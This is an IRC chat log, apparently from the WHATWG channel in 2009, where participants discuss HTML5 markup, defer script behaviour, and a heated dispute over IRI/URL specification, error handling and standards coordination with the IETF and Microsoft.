Philip`: Definitelly shorter than <span class="key">Alt</span>...

[05:44:01.0000] <Philip`>
Mrmil: But longer than <tt>Alt</tt>, and longer than Alt

[05:45:00.0000] <Mrmil>
:)

[05:45:01.0000] <Philip`>
Oh, HTML5 doesn't allow <tt> :-(

[05:45:02.0000] <Philip`>
Not much shorter than <code>Alt</code> then, if you want that default rendering

[06:01:00.0000] <Mrmil>
The HTML5 spec is so much better than XHTML 1.0 spec. (For a find-some-usage-info-about-this-tag person.)

[06:06:00.0000] <Lachy>
Mrmil, that's because the XHTML1 spec is just a delta spec. All the element definitions remained as is in HTML4

[06:07:00.0000] <Mrmil>
Lachy: Hm. :)

[06:13:00.0000] <Mrmil>
They could at least show something like this http://www.w3.org/TR/xhtml11/doctype.html#s_doctype. If they did, though, it is burried somewhere where no-one can find it...

[06:13:01.0000] <jgraham>
/me notices he splet Philip's name wrong

[06:14:00.0000] <jgraham>
/me apologises

[06:59:00.0000] <Philip`>
jgraham: Oh, I didn't notice

[10:12:00.0000] <hsivonen>
grr. defer scripts effectively make eof like </script> only more complex

[10:22:00.0000] <hsivonen>
/me wonders why IE8 on Windows 7 Enterprise claims to be "Media Center" and "Tablet"

[10:22:01.0000] <hsivonen>
/me also wonders what OfficeLivePatch is

[10:29:00.0000] <brucel>
Hi crazy WHATWG types

[10:29:01.0000] <gsnedders>
brucel: How are you in the freezing west?

[10:30:00.0000] <gsnedders>
/me realizes he had misremembered

[10:31:00.0000] <brucel>
Am still west of sweden, gsnedders. 

[10:32:00.0000] <gsnedders>
brucel: But I'm not in Sweden :P

[10:32:01.0000] <brucel>
So, Dear Cabal: I got emailed a request for html5 doctor for a simple guide to the new content types now block-level, inline are gone and we have a whole host of others.

[10:33:00.0000] <brucel>
Is there a simple guide to what they are and what they mean anywhere?

[10:33:01.0000] <gsnedders>
flow is basically the same as it was in HTML 4.01 Trans, i.e., block or inline

[10:35:00.0000] <gsnedders>
phrasing content is  basically inline

[10:36:00.0000] <gsnedders>
/me realizes he sucks at really explaining this…

[10:45:00.0000] <brucel>
gsnedders I tried to explain it. and reaslied i suck at explaining it

[11:53:00.0000] <masinter`>
/me missed discussion about copy protection

[12:46:00.0000] <masinter>
I don't understand how Rowat links the complexity of the spec to difficulties for authors

[12:46:01.0000] <masinter>
the weakness of authoring conformance requirements makes it hard to figure out what really is or isn't a good idea

[12:47:00.0000] <masinter>
and there aren't guidelines for how to be compatible with deployed browsers as well as new ones

[12:47:01.0000] <masinter>
but those guidelines can be written, although most technical language specifications for a 'new version' of something often contain such guidelines directly

[12:48:00.0000] <masinter>
the main problem is that a complex spec adds an enormous burden for implementors, especially for consumers of HTML; producers can just ignore the parts they don't care about

[12:49:00.0000] <masinter>
talking about this on the mailing list isn't too effective -- mailing list is just filled with posturing

[12:49:01.0000] <Hixie>
hsivonen: wait, didn't we make it so document.write() always blows away the document in defer=""ed scripts?

[12:54:00.0000] <hsivonen>
Hixie: didn't you agree to change that per sicking's feedback?

[12:54:01.0000] <hsivonen>
/me doesn't remember

[12:56:00.0000] <gsnedders>
masinter: It's hard to simplify the implementer stuff without hurting web compat., as far as I can tell, though.

[12:58:00.0000] <Hixie>
hsivonen: we ended up changing something simpler, namely that defer="" doesn't apply to inline scripts

[12:59:00.0000] <hsivonen>
Hixie: oh ok.

[12:59:01.0000] <Hixie>
same lovely compatibility goodness, and half the transfats

[12:59:02.0000] <masinter>
i think we've gone around this several times, including two days ago, but i'll try once more. "web compat." is a stalking horse for a lot of things that are unrelated

[12:59:03.0000] <gsnedders>
(Also, I find CSS 2.1 much harder to understand what the expected rendering is.)

[13:00:00.0000] <gsnedders>
masinter: Well it's mainly a question of _how_ you simplify it

[13:00:01.0000] <masinter>
there's compatibility with existing content, with the main dominant browser (IE), with other existing browsers, with existing creation tools, with existing analysis tools, with search engines

[13:01:00.0000] <Hixie>
masinter: hsivonen and i mean the same thing by it, so it's ok :-)

[13:01:01.0000] <masinter>
and with what current browser development teams are willing to agree to implement.

[13:01:02.0000] <masinter>
hmmm

[13:02:00.0000] <masinter>
/me tries to remember if tweedledee and tweedledum are humpty-dumpty twins

[13:02:01.0000] <gsnedders>
masinter: with existing content is more or less the same as with the main dominant browser, and existing creation tools mainly have existing content

[13:02:02.0000] <masinter>
no, existing content *could* work with many different implementations

[13:03:00.0000] <gsnedders>
It could. But how much existing content does not work with the dominant browser? How much relies upon specific behaviour that only exists in the dominant browser?

[13:03:01.0000] <masinter>
you have  a narrow interpretation of "work with" which is taken as "works exactly the same as", which may not be the same as "the author and the reader have a satisfactory communication experience"

[13:04:00.0000] <masinter>
which leads you to a narrow interpretation of "specific behavior"

[13:04:01.0000] <masinter>
Maciej had an interesting discussion about error behavior for IRIs when they contain, for example, illegal characters

[13:05:00.0000] <gsnedders>
Where do you draw the line between the two, though?

[13:05:01.0000] <masinter>
"two"? 

[13:05:02.0000] <tantek>
masinter - perhaps you could add an entry about "What does 'web compat' mean?" to the WHATWG FAQ: http://wiki.whatwg.org/wiki/FAQ documenting the issues/ambiguities in the expression.

[13:05:03.0000] <tantek>
(that you've expressed)

[13:05:04.0000] <gsnedders>
"work exactly the same as" and "the author and the reader have a satisfactory communication experience"

[13:05:05.0000] <masinter>
/me tries to find something there is two of

[13:06:00.0000] <masinter>
I wrote about what I thought "interoperability" should mean in http://tools.ietf.org/html/draft-ietf-newtrk-interop-reports-00

[13:06:01.0000] <gsnedders>
I wouldn't say we had to create an identical DOM as IE, but I wouldn't say we could come up with a DOM that made deployed scripts (that currently work in UAs with only tree-shaped DOMs) not work any more, for example

[13:07:00.0000] <masinter>
it's especially risky when you rely on black-box reverse engineering rather than open-box examination, because it's easy to infer the wrong generalization of behavior

[13:08:00.0000] <masinter>
for example, whether query strings are encoded using the document charset or using UTF8, the answer was different for mailto:

[13:08:01.0000] <gsnedders>
We can't do anything else but that for the dominant UA, and when sites rely upon behaviour only present there, what choice do we have?

[13:09:00.0000] <hsivonen>
masinter: you can open-box examine Gecko and WebKit

[13:09:01.0000] <gsnedders>
I agree it's suboptimal, but this is the world we're in.

[13:09:02.0000] <masinter>
when was the last time you tried actually asking MS what IE does, rather than relying on reverse engineering of what IE does?

[13:10:00.0000] <masinter>
and why do people say "the dominant browser" rather than IE, like IE was some dirty word?

[13:10:01.0000] <hsivonen>
masinter: maybe we should ask MS more often

[13:10:02.0000] <masinter>
/me dares to speak the name of "Internet Explorer", shaking down the building

[13:11:00.0000] <hsivonen>
masinter: in my experience about mode sniffing, though, one shouldn't just trust MSDN for instance, but one should always test the hypothesis, too

[13:11:01.0000] <gsnedders>
It's something that has been done in the past, and more or less there's either been no response or, "I'm asking for permission to publish that…" and then nothing more ever coming out

[13:11:02.0000] <masinter>
/me thinks asking Paul Cotton for specific help getting answers to specific technical questions about what IE does would go a long way

[13:11:03.0000] <gsnedders>
masinter: I was just using it because you had earlier, and because the statements are generally true (and saying IE would limit them to a specific subset of time, not that that is really a problem though).

[13:13:00.0000] <masinter>
the question on the IRI issue is whether translating an IRI with an illegal character in the domain name should be specified as signalling an error, translating to pct-encoded bytes which would be illegal when later translated to punycode, to some otherwise illegal host name, or whether it was OK to leave it unspecified

[13:14:00.0000] <masinter>
and the issue is that signalling an error is the safest -- and most appropriate if you're doing resolution -- but that some implementations and processes can't really accept an error signal, so there needs to be alternatives which are also conforming

[13:15:00.0000] <othermaciej>
Paul Cotton does not know much about IE, and has very clearly stated as much

[13:15:01.0000] <masinter>
uh, i didn't think he would answer directly

[13:15:02.0000] <othermaciej>
he does, however, work at the same company as the IE people, so may be better positioned to ask them

[13:15:03.0000] <othermaciej>
though I would think asking Adrian Bateman might skip a step

[13:15:04.0000] <masinter>
quite likely

[13:16:00.0000] <masinter>
i didn't suggest asking paul for answers, if you actually read what I said, Maciej

[13:16:01.0000] <othermaciej>
Microsoft is often either unwilling or unable to correctly describe how IE works

[13:16:02.0000] <gsnedders>
/me notes we're still waiting for a copy of the stylesheet IE8 uses for quotations marks in various languages in q that has been pending approval for release since last TPAC, and Chris tried to push to get it released several times

[13:17:00.0000] <masinter>
/me bows to authority on the subject of what Microsoft is or isn't unwilling to answer

[13:17:01.0000] <othermaciej>
s/is often/has often been/

[13:17:02.0000] <masinter>
clearly you're all experts on this subject, I confess I've never asked

[13:17:03.0000] <masinter>
I do know that it's easier to get answers to questions than it is to get anyone to release any software

[13:18:00.0000] <gsnedders>
masinter: I'd be up for asking them a lot more… if there was much chance at all at getting a response.

[13:18:01.0000] <masinter>
/me repeats, "masinter thinks asking Paul Cotton for specific help getting answers to specific technical questions about what IE does would go a long way"

[13:18:02.0000] <masinter>
note I didn't say "asking Paul Cotton for answers"

[13:18:03.0000] <othermaciej>
Microsoft is more engaged in the HTML WG now so it may be more fruitful to ask them questions about their implementation

[13:19:00.0000] <masinter>
that was my point, thanks

[13:19:01.0000] <gsnedders>
My point is that past experience makes me still very dubious

[13:19:02.0000] <masinter>
standards only work when the implementations that need to follow the standard are actually working on the standard

[13:20:00.0000] <masinter>
otherwise you're playing a game of "we're standard and you're not nyah nyah nyah"

[13:21:00.0000] <masinter>
which may be fun and satisfying and vindictive, but doesn't actually help make stuff work

[13:23:00.0000] <masinter>
Hixie: Vint suggested a phone conference on the IRI issue and coordination, could you help set that up?

[13:25:00.0000] <masinter>
It would be great to get Vint, Klensin, Fielding, Martin, you, me, maybe MNot; not sure who else would be a core group. The goal would be to see if there's a way of fast-tracking agreement. Some folks who might be reluctant to join a meeting might do so if Vint asks them nicely.

[13:27:00.0000] <masinter>
Maciej, hope that addresses your process questions on IRI progress?

[13:28:00.0000] <masinter>
maybe getting someone from MS IRI implementation team might be a good addition? not sure

[13:28:01.0000] <masinter>
Michel was their guy but he's not at MS any more, don't hear from him much

[13:28:02.0000] <tantek>
/me points out Hixie's post on telecons. http://lists.w3.org/Archives/Public/public-html/2009Jun/0616.html

[13:29:00.0000] <masinter>
that's "weekly telecons"

[13:29:01.0000] <gsnedders>
/me also points out Hixie does not own a phone

[13:29:02.0000] <masinter>
i'm sure Vint would let him use his phone

[13:30:00.0000] <masinter>
brb

[13:30:01.0000] <tantek>
masinter - the *subject* says weekly telecons, but his message addresses "Teleconference calls" and "Teleconferences" in general.

[13:35:00.0000] <masinter>
this is getting silly. [10:35] <Hixie> masinter`: if there's anything i can do to make hooking html5 into it easier, let me know  

[13:36:00.0000] <masinter>
getting stuff into an IETF document that some IETF participants don't think belongs in the IETF document is the bottleneck

[13:36:01.0000] <masinter>
and a meeting about requirements and processes was Vint's suggestion for how to unblock the bottleneck, and I agree that normally that would be a good first step

[13:37:00.0000] <masinter>
and the participants are around the world, the next time for a possible physical meeting would be IETF in Hiroshima in November, the week after the TPAC

[13:37:01.0000] <masinter>
i've tried to reserve time at the IETF meeting for a "BOF" to discuss it, but making progress on this before November would be much better

[13:39:00.0000] <masinter>
a phone conference with at least one person with some authority from the concerned parties does seem to me to be a good idea

[13:40:00.0000] <masinter>
"anything i can do" should cover somehow finding a telphone and participating in a 1-2 hour phone conference

[13:43:00.0000] <masinter>
at most, maybe less

[13:45:00.0000] <hober>
what does getting people on the phone get you that publically-archived email doesn't (besides the ability to say things off the record)

[13:45:01.0000] <hober>
I mean, why not just email the people you're talking about getting on the phone

[13:46:00.0000] <Philip`>
Lower latency?

[13:47:00.0000] <masinter>
well, for example, I just made some comments about the phone meeting, about error handling in IRIs, and a couple of other topics, and gotten just silence. On a phone conference, I oculd ask "Well, how about it?" and expect people to answer. Here, who knows? and in email, people can just repeat their stock positions and stonewall an actual discussion

[13:49:00.0000] <masinter>
that can happen in a phone conference too, of course, but it's more obvious when it's happening

[13:49:01.0000] <mpilgrim>
yes, standards are much easier when a few good men get together and work out their differences over beers

[13:49:02.0000] <hober>
beer++

[13:49:03.0000] <masinter>
funny

[13:49:04.0000] <mpilgrim>
how dare we give the uninvited hoi polloi a chance to respond

[13:50:00.0000] <masinter>
oh exactly, the hoi polloi should definitely have a meeting

[13:50:01.0000] <jgraham>
masinter: IRC is only occasionally sychronous

[13:50:02.0000] <mpilgrim>
we're all aware of your opinion about the openness of the htmlwg

[13:50:03.0000] <masinter>
oh really? gosh

[13:50:04.0000] <masinter>
are you now?

[13:51:00.0000] <mpilgrim>
well I am

[13:51:01.0000] <masinter>
/me listens, then

[13:51:02.0000] <mpilgrim>
as is anyone else who bothers to read ac-forum

[13:52:00.0000] <jgraham>
secret mailing lists ftw

[13:52:01.0000] <Steve^>
secret-secret mailing lists even better

[13:53:00.0000] <masinter>
sigh, definitely private meetings should be outlawed, and private conversations too

[13:53:01.0000] <Steve^>
masinter, do you want a camera in my bathroom also?

[13:54:00.0000] <masinter>
/me laughs

[13:54:01.0000] <masinter>
i cant tell if you're trying to be funny, maybe i shouldn't assume you aren't if you don't use :) ?

[13:54:02.0000] <masinter>
honestly, if you want my opinion about something, you really can just ask me

[13:54:03.0000] <Steve^>
I wasn't sure if you referred only to whatwg or life in general

[13:54:04.0000] <mpilgrim>
your love of false dichotomies and other logical fallacies might go a long way towards explaining why you can't seem to find constructive conversation in any medium

[13:55:00.0000] <masinter>
could you give me an example of a 'false dichotomy'?

[13:55:01.0000] <masinter>
or a 'logical fallacy'? other than something that you just disagree with?

[13:55:02.0000] <mpilgrim>
read your own backscroll

[13:55:03.0000] <masinter>
aww, c'mon, i just asked for an exmaple

[13:55:04.0000] <mpilgrim>
look in a mirror

[13:55:05.0000] <masinter>
if you're going to insult me, at least back it up

[13:56:00.0000] <masinter>
aww, that really hurts, are you going to call me ugly now too?

[13:56:01.0000] <jgraham>
"private meetings should be outlawed and private conversations too"

[13:56:02.0000] <masinter>
hey i was joking

[13:56:03.0000] <mpilgrim>
"sigh, private meeting should be outlawed"

[13:56:04.0000] <masinter>
yes, that was reducio ad absurdum

[13:57:00.0000] <masinter>
I suppose I really do need to be more careful among the literal-minded

[13:57:01.0000] <masinter>
"yes, standards are much easier when a few good men get together and work out their differences over beers"

[13:57:02.0000] <jgraham>
Hmm, I don't think it has anything to do with being literal minded; it's just not a compelling argument

[13:57:03.0000] <masinter>
i was going to object that you left out women and vodka

[13:58:00.0000] <jgraham>
"private mailing lists are bad" "yeah why don't we outlaw private meetings"

[13:58:01.0000] <masinter>
and cigars, I suppose, but the smoke-filled rooms aren't legal any more in most parts of the world

[13:58:02.0000] <mpilgrim>
when I came in, you were complaining that no one had responded to your questions for all of 10 minutes

[13:58:03.0000] <julianreschke>
/me can't resist joining a chat that is about Hixie joining a telco

[13:59:00.0000] <mpilgrim>
and said that wouldn't happen if you held a teleconf

[13:59:01.0000] <Steve^>
julianreschke, how did you know?

[13:59:02.0000] <mpilgrim>
and then listed 6 men whom you deemed worthy to join said teleconf

[13:59:03.0000] <masinter>
I wasn't complaining, i was answering a question about why phone meetings were effective

[13:59:04.0000] <mpilgrim>
they're not

[14:00:00.0000] <masinter>
and that wasn't my proposal. my proposal was to have a BOF at the next IETF meeting

[14:00:01.0000] <julianreschke>
/me sometimes looks at chat logs while test cases are running slowly

[14:00:02.0000] <masinter>
Vint Cerf replied to my call for a BOF, and *he* suggested a phone conference

[14:00:03.0000] <Steve^>
psst julianreschke, what's a BOF?

[14:00:04.0000] <mpilgrim>
but you can't see why, because you think you've produced an exhaustive list of everyone with worthwhile oponions, and invited them

[14:00:05.0000] <mpilgrim>
just like you want to do with the entire htmlwg

[14:01:00.0000] <julianreschke>
Steve, I think "birds of a feather" meeting

[14:01:01.0000] <julianreschke>
Steve, something you set up in order to get a WG

[14:01:02.0000] <masinter>
http://trac.tools.ietf.org/bof/trac/wiki

[14:01:03.0000] <masinter>
IRIs: Status: received preliminary request from Larry Masinter. Some deep-reaching issues around the IRI architecture would seem to require a WG to be able to decide on possibly major changes. Agenda: in progress, Draft: in progress, Mailing list: uri⊙wo, public-iri⊙wo, Responsible AD: Alexey Melnikov 

[14:02:00.0000] <julianreschke>
http://www.ietf.org/tao.html#anchor34

[14:03:00.0000] <masinter>
so i'm in favor of open discussion on an open mailing list in the ietf open process. but Vint suggested a phone call to see if things could be fast-tracked, and Maciej was concerned about schedule and process and how to get this done before last call, and so a phone call among the editors of the documents that need to be coordinated and the chairs of their working groups seemed like it was effective

[14:03:01.0000] <masinter>
the six people I mentioned were either editors or chairs

[14:03:02.0000] <masinter>
so it wasn't a random list. i did select, among all the editors and chairs, a smaller set of those who seemed to be active and 'up' on the issues

[14:04:00.0000] <masinter>
and yes, a meeting of the editors of documents that need to be coordinated about how to go about coordination is more effective than inviting discussion on an open list

[14:04:01.0000] <masinter>
and mpilgrim's sarcastic comments about this were really juvenile and out of line

[14:05:00.0000] <julianreschke>
in particular when trying to make progress asynchronously hasn't been quite successful

[14:05:01.0000] <masinter>
especially when the agenda for the meeting isn't about the substantive content so much as the method for organizing coordination

[14:06:00.0000] <masinter>
it's useful to be public about the meeting and the participation to make sure that someone who really needs to be there isn't left out, though

[14:07:00.0000] <masinter>
brb, lunch, snark away

[14:07:01.0000] <mpilgrim>
your comments on the secret ac-forum mailing list about the htmlwg being a "failed experiment" were juvenile and out of line, but of course they were secret so you get to play good cop in public

[14:20:00.0000] <othermaciej>
masinter: fwiw, if a phone call helps progress, then I think it is a fine move; and it makes me think that maybe it is remotely possible for a document to be ready in time for HTML WG Last Call

[14:21:00.0000] <othermaciej>
masinter: however, it does not tell me what should happen if, despite best efforts, such a document is not ready in time, so it doesn't answer my questions

[14:21:01.0000] <masinter>
i'm not sure what the set of fallbacks should be

[14:22:00.0000] <masinter>
the last resort is to put stuff back into the HTML document and mark it as "should be replaced but going to last call with this"

[14:23:00.0000] <masinter>
i don't know how tentative last call documents can be, but i suppose if the working group agrees that it's ok, then that would be a last-resort fallback

[14:23:01.0000] <othermaciej>
that would be acceptable to me as a last resort; not sure if the rest of the HTML WG would agree, but I hope so

[14:23:02.0000] <othermaciej>
obviously, having at least an Internet-Draft to reference that contains the needed info would be much preferred

[14:23:03.0000] <masinter>
well, it would have to be clear that other routes to progress were unavoidably blocked

[14:24:00.0000] <masinter>
i think it's getting closer, but there are still gaps to a citable document

[14:25:00.0000] <masinter>
the 'issue' isn't just the technical content, it was also the process and conformance requirements

[14:25:01.0000] <masinter>
there wouldn't be an 'issue' at all if there weren't other standards that people want to work the same in HTML

[14:26:00.0000] <masinter>
right? It's not really a technical issue, it's a coordination issue

[14:26:01.0000] <masinter>
(lunch ready, back in 10)

[14:26:02.0000] <othermaciej>
ok, see you after lunch perhaps

[14:26:03.0000] <masinter>
10 min

[14:33:00.0000] <masinter>
/me returns to the den of trolls

[14:34:00.0000] <Steve^>
trolls live under bridges

[14:35:00.0000] <masinter>
maciej, Hixie pointed out that the 'parsing' from the URI spec wasn't actually referenced in my IRI draft; it used to be IRI -> URI and parse URI so it didn't need to be spec'd, but now that it is "parse IRI" first, I need to add some normative text for that

[14:35:01.0000] <Philip`>
Steve^: Tolkien's trolls don't, and I wouldn't want to accuse him of being wrong

[14:36:00.0000] <masinter>
there are still some things that were in the HTML document that aren't in the IRI document, but some of those really are specific to HTML; I suppose we could err on the side of including them and moving them back into HTML if necessary

[14:36:01.0000] <Steve^>
Philip`, good point. If he's correct the trolls are free to come and eat you.

[14:36:02.0000] <othermaciej>
masinter: regarding the nature of the issue - I believe from the HTML point of view, what is desired is suitable technical content to normatively reference, said content consisting of producer and consumer conformance requirements, and definitions (including definitions of some algorithms)

[14:38:00.0000] <othermaciej>
masinter: I think the reason there is a coordination issue is because it is controversial in some quarters to define processing for HTML that aligns with legacy UAs and content rather than strictly following the relevant specifications, which are also used in non-HTML contexts

[14:39:00.0000] <masinter>
uh, i'm having trouble parsing that, lemme see if I can sort it out

[14:40:00.0000] <othermaciej>
my apologies for the clumsy sentence structure

[14:40:01.0000] <masinter>
well, just going through it, it's ok

[14:41:00.0000] <masinter>
I think the document i posted may be buggy, but it has "suitable technical content to normatively reference, said content consisting of producer and consumer conformance requirements, and definitions (including definitions of some algorithms)"

[14:42:00.0000] <othermaciej>
link?

[14:42:01.0000] <masinter>
although you might argue that the "definitions of some algorithms" are given by constraints and examples. but at least that's certainly the intent, and my goal was to note any issues and questions and known bugs in the text if they weren't resolved

[14:43:00.0000] <othermaciej>
(though I would probably leave the detailed technical review to people with more time and expertise than me)

[14:46:00.0000] <masinter>
sigh, i posted the link here, but the message itself wasn't delivered. it's there now: http://lists.w3.org/Archives/Public/public-iri/2009Sep/0075.html

[14:46:01.0000] <othermaciej>
I see, thanks

[14:47:00.0000] <masinter>
hixie already had some comments. i tried to address your comments about the design goals in http://larry.masinter.net/iribis-hack.html#anchor22

[14:48:00.0000] <othermaciej>
is there a definition of how to extract the traditional hierarchical URI components from a string that may or may not be a valid IRI?

[14:49:00.0000] <othermaciej>
your design goals sound good

[14:49:01.0000] <masinter>
see http://krijnhoetmer.nl/irc-logs/whatwg/20090921#l-257

[14:50:00.0000] <masinter>
i thought what was wanted was IRI components, not URI components

[14:51:00.0000] <masinter>
i think probably what needs to happen is to allow anything in the BNF, and then make illegal characters in components non-conforming afterwards

[14:51:01.0000] <masinter>
i only started hacking the BNF itself at the last minute, though

[14:52:00.0000] <masinter>
what the draft now does is suggest that all illegal characters be percent-encoded before parsing

[14:53:00.0000] <masinter>
which probably has the same result, except for illegal characters in domain names

[14:53:01.0000] <othermaciej>
BNF is not that useful for defining error-tolerant rules for extracting subcomponents

[14:54:00.0000] <othermaciej>
it seems to me that there is an ill-defined concept in 3.2, namely the idea of matching a nonterminal production in a grammar in a string that does not satisfy the grammar

[14:54:01.0000] <masinter>
that's an interesting general statement we could debate, and i'm sure come up with lots of examples where BNF has been useful, even when defining error-tolerant rules

[14:54:02.0000] <masinter>
there are two issues

[14:55:00.0000] <masinter>
one is that the syntax doesn't really match ? and there's some failure? Not sure that can happen with the generic parsing, although it can happen with scheme-specific parsing

[14:55:01.0000] <masinter>
second is that there are otherwise illegal characters

[14:56:00.0000] <masinter>
the second issue i think is handled by pre-processing: stripping or percent-encoding illegal characters so they odn't appear by the time you get to 3.2

[14:56:01.0000] <masinter>
the first, well, it was in the original HTML copy of the its spec for "URL"

[14:57:00.0000] <masinter>
the plan was to allow HTML5 to normatively reference the "IRI" or "IRI reference" non-terminal as the "conforming producer" requirements, but to mandate "WebAddress processing" for "conforming liberal consumer"

[14:57:01.0000] <othermaciej>
I think you likely need a state-machine-like formalism to make the definition of component extraction unambiguous for strings that don't match the grammar

[14:58:00.0000] <othermaciej>
there may be other ways to do it, but I don't recall seeing a successful one in my experience

[14:58:01.0000] <othermaciej>
Web Address used a state machine formalism: http://www.w3.org/html/wg/href/draft.html#parsing-urls

[14:59:00.0000] <masinter>
that's certainly another way of approaching the problem, but unlikely to win support from the implementors of other specifications that use IRIs

[14:59:01.0000] <jgraham>
Why?

[14:59:02.0000] <masinter>
URIs haven't had a state-machine-like formalism, is there a serious interoperability failure for parsing?

[15:00:00.0000] <mpilgrim>
yes

[15:00:01.0000] <othermaciej>
a) implementors of other specifications that use IRIs don't need to use the algorithm for extracting components from a possibly-invalid string

[15:00:02.0000] <masinter>
example?

[15:00:03.0000] <mpilgrim>
but nobody in your group cares, because it's only browsers

[15:00:04.0000] <othermaciej>
b) what jgraham said

[15:00:05.0000] <masinter>
they don't?

[15:00:06.0000] <mpilgrim>
well, roy doesn't

[15:01:00.0000] <masinter>
/me sighs

[15:01:01.0000] <jre>
othermaciej, RFC3986 already has an example for that: http://greenbytes.de/tech/webdav/rfc3986.html#regexp

[15:01:02.0000] <jre>
I think that works with IRIs as well

[15:01:03.0000] <hsivonen>
masinter: the Jena IRI lib implements, IIRC, about six distinct URL-like things but none of them provide my app the behavior I need to make img src resolve the way it does in browsers

[15:02:00.0000] <hsivonen>
/me should really be asleep already

[15:02:01.0000] <masinter>
/me wonders why a state-machine algorithm is better than a regular expression

[15:03:00.0000] <masinter>
they're both implementations. i'd think the regexp would be just as precise and much less wordy

[15:03:01.0000] <masinter>
no offense to Jena, but was this a spec problem, or were they just trying to be compatible with six different implementations?

[15:04:00.0000] <mpilgrim>
/me sighs

[15:04:01.0000] <masinter>
i mean, the problem with reverse-engineering URIs is that there are lots of different implementations, it's not the same game as trying to get out in front of IE

[15:04:02.0000] <gsnedders>
masinter: URI, IRI, XML's URI thingy in SYSTEM, I can't remember the others

[15:05:00.0000] <mpilgrim>
we need a spec that says how img src resolves in browsers

[15:05:01.0000] <mpilgrim>
you can call it whatever you like

[15:05:02.0000] <masinter>
mpilgrim: not sure which of your comments i should respond to first

[15:05:03.0000] <mpilgrim>
call it the "img src attribute spec"

[15:05:04.0000] <mpilgrim>
whatever

[15:06:00.0000] <mpilgrim>
i don't care

[15:06:01.0000] <masinter>
http://larry.masinter.net/iribis-hack.html#anchor22 lists what i thought the goals were

[15:06:02.0000] <masinter>
for the document in which they appear

[15:07:00.0000] <masinter>
and "Consistency of web and other Internet applications" argues against just defining the "img src attribute spec"

[15:07:01.0000] <mpilgrim>
i don't know how much clearer i can be

[15:07:02.0000] <mpilgrim>
that's a fun-looking set of design goals

[15:07:03.0000] <masinter>
if it's different for HTML and me sending you a URI via IRC

[15:07:04.0000] <mpilgrim>
go have fun with that

[15:07:05.0000] <mpilgrim>
we'll find someone else to spec the img src attribute

[15:08:00.0000] <Philip`>
Seems like the consistency goal is already lost, if Jena has to have six URL-like things

[15:08:01.0000] <mpilgrim>
actually, we'll just use what we already wrote

[15:08:02.0000] <jgraham>
(epecially if hsivonen has to implement a seventh to get the behaviour he needs)

[15:08:03.0000] <mpilgrim>
and then handed off to you, before you broke it

[15:09:00.0000] <masinter>
mpilgrim: i was trying to actually address the issue that was raised

[15:09:01.0000] <masinter>
and you might not agree that the issue needs to be addressed at all

[15:09:02.0000] <gsnedders>
masinter: IRI, RDF URI reference, XML Schema anyURI, XML System ID, xlink:href are the six Jena IRI lib supports

[15:09:03.0000] <gsnedders>
+ URI

[15:10:00.0000] <masinter>
yes, that's the result of people going off and writing their own spec in a snit, rather than actually trying to coordinate

[15:10:01.0000] <mpilgrim>
^-- do any of these define any kind of error handling?

[15:10:02.0000] <masinter>
so there can be a 7th one, called "HTML5 URL" and an 8th and 9th too

[15:11:00.0000] <mpilgrim>
there *is* a 7th one

[15:11:01.0000] <mpilgrim>
you can call it whatever you like

[15:11:02.0000] <mpilgrim>
and you can spec it, or not

[15:11:03.0000] <mpilgrim>
but you can not -- i repeat, can not -- will it out of existence

[15:11:04.0000] <masinter>
hmmmm

[15:11:05.0000] <mpilgrim>
it will continue to exist, whether you document it or not

[15:11:06.0000] <mpilgrim>
me, i prefer things like that to be documented

[15:12:00.0000] <masinter>
/me wonders if i am going to be forbidden to put cheese on toast next

[15:12:01.0000] <jgraham>
?

[15:13:00.0000] <masinter>
i'm not sure what i'm trying to will out of existence

[15:13:01.0000] <mpilgrim>
the algorithm used to resolve an img src attribute

[15:13:02.0000] <othermaciej>
jre: interesting

[15:13:03.0000] <jre>
mpilgrim, I don't think anybody proposed not to document it; what's controversial is how exactly to do that

[15:13:04.0000] <othermaciej>
jre: it's very hard for me to tell what that regexp is doing or if it is correct

[15:14:00.0000] <mpilgrim>
jre, trust me, there are people who do not want to document it

[15:14:01.0000] <mpilgrim>
because it involves *gasp* error handling

[15:14:02.0000] <mpilgrim>
and defining error handling is simply not done

[15:14:03.0000] <mpilgrim>
in polite society

[15:14:04.0000] <mpilgrim>
or something

[15:14:05.0000] <jgraham>
/me agrees with othermaciej 

[15:15:00.0000] <jgraham>
And presumbly it would be even worse with error handling

[15:15:01.0000] <othermaciej>
masinter: I believe finite state machines and regular expressions are equivalent in what languages they can recognize

[15:15:02.0000] <jre>
mpilgrim, I have no problem in defining the error handling UAs do

[15:15:03.0000] <mpilgrim>
me neither

[15:15:04.0000] <othermaciej>
masinter: so a regexp is just a compact (and possibly hard to understand, or maybe easy to understand) way of defining a state machine

[15:15:05.0000] <mpilgrim>
i'm just telling you that there are people who do, most definitely, have a problem defining the error handling UAs do

[15:15:06.0000] <jre>
but I do have a problem requiring *everybody* to do that

[15:15:07.0000] <masinter>
well, there is at least 30 years of experience in writing parsers that implement languages based on grammers given for the language

[15:16:00.0000] <mpilgrim>
/me waits for masinter to mention interlisp

[15:16:01.0000] <jre>
Maciej, the regexp was written by Roy, so it must be correct

[15:16:02.0000] <jre>
/me ducks

[15:16:03.0000] <jgraham>
From the point of view of a QA it is difficult to tell from that regexp what the unusual cases i.e. the most likely interoperability problems are

[15:16:04.0000] <masinter>
yuk yuk, we're getting funny again

[15:17:00.0000] <jgraham>
(actually it's pretty difficult to tell *anything* from that regexp...)

[15:17:01.0000] <mpilgrim>
s/have a problem defining/have a problem WITH defining/

[15:17:02.0000] <masinter>
i don't think the regexp is normative, so maybe that's moot

[15:18:00.0000] <mpilgrim>
/me wonders, again, if any of the 6 specs gsnedders listed define error handling

[15:18:01.0000] <othermaciej>
jgraham: you could rewrite the regexp formally as a finite state machine

[15:18:02.0000] <masinter>
mpilgrim, those weren't 'specs' they were implementations

[15:18:03.0000] <jgraham>
othermaciej: Indeed. I'd rather not have to if that's alright with you :)

[15:18:04.0000] <masinter>
specs constrain implementations that are intended to be compliant with them

[15:18:05.0000] <mpilgrim>
IRI is not a spec?

[15:18:06.0000] <othermaciej>
jgraham: that is probably what I would do if I was really determined to find out if it processes things in a suitable way

[15:19:00.0000] <gsnedders>
masinter: RDF isn't a spec?

[15:19:01.0000] <mpilgrim>
and right away, we're done here

[15:19:02.0000] <mpilgrim>
your view of a "spec" is narrow and naive

[15:19:03.0000] <masinter>
he was tlaking about 6 implementations that are intended to be compliant with 6 specs

[15:19:04.0000] <masinter>
mpilgrim, how many specs have you written or edited?

[15:20:00.0000] <mpilgrim>
and i clearly meant "do any of the 6 specs which jeni implements" define error handling

[15:20:01.0000] <mpilgrim>
again with the appeals to authority

